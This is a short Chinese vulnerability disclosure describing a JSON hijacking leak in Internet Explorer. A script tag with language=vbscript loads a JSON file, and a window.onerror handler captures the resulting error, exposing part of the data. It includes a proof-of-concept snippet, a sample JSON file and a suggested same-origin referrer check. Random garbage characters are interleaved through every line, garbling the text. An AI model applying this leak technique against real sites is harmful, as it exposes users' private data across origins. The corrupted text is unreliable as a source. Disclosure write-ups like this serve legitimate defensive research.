简要描述:
9 w& T }! K8 O& E# d0 X1 P# m
8 a% W/ u1 s$ l$ w1 W& A) [由于某些资源容器对数据处理不当导致json劫持漏洞.( D @% f( T: V! J/ U) A+ f Q5 o
详细说明:6 e! Y* e; P/ H. Y
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
/ S0 T. R! b L4 ~# X7 P" R<script language=vbscript></script>
) A; y4 \5 O! ?( Z, b / _( }( g$ N; P, T# K8 `; b
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
) w9 T: E- }& q5 z1 q漏洞证明:. |% \" r0 m: f+ t
<script>4 u$ \6 J* z G
window.onerror=function(_){
. C7 a5 ]0 O' g1 j3 n0 A4 Y7 w$ x- }1 Ualert(_)
) u2 c! Q$ F" A. z/ |: k}0 o$ I( s3 @6 f! Q" B; L% {( I- b
</script>: t7 N! d# `; P! k N, B+ u, I) U2 j
<script language=vbscript src=1.json></script>! T7 B/ k0 `: p: h( h$ a& g8 }. }) t
* J* M6 q J8 U% `1 U% m
: p! y, J) L$ E, D1.json:
. w) Y, N; a" `" o[{"name":"sogili","age":19}]
2 j# G8 v* U8 F5 n修复方案:
( [0 {9 c$ a: N* m: b网站业务对于这个问题可以通过验证referrer是否为同源来防御 |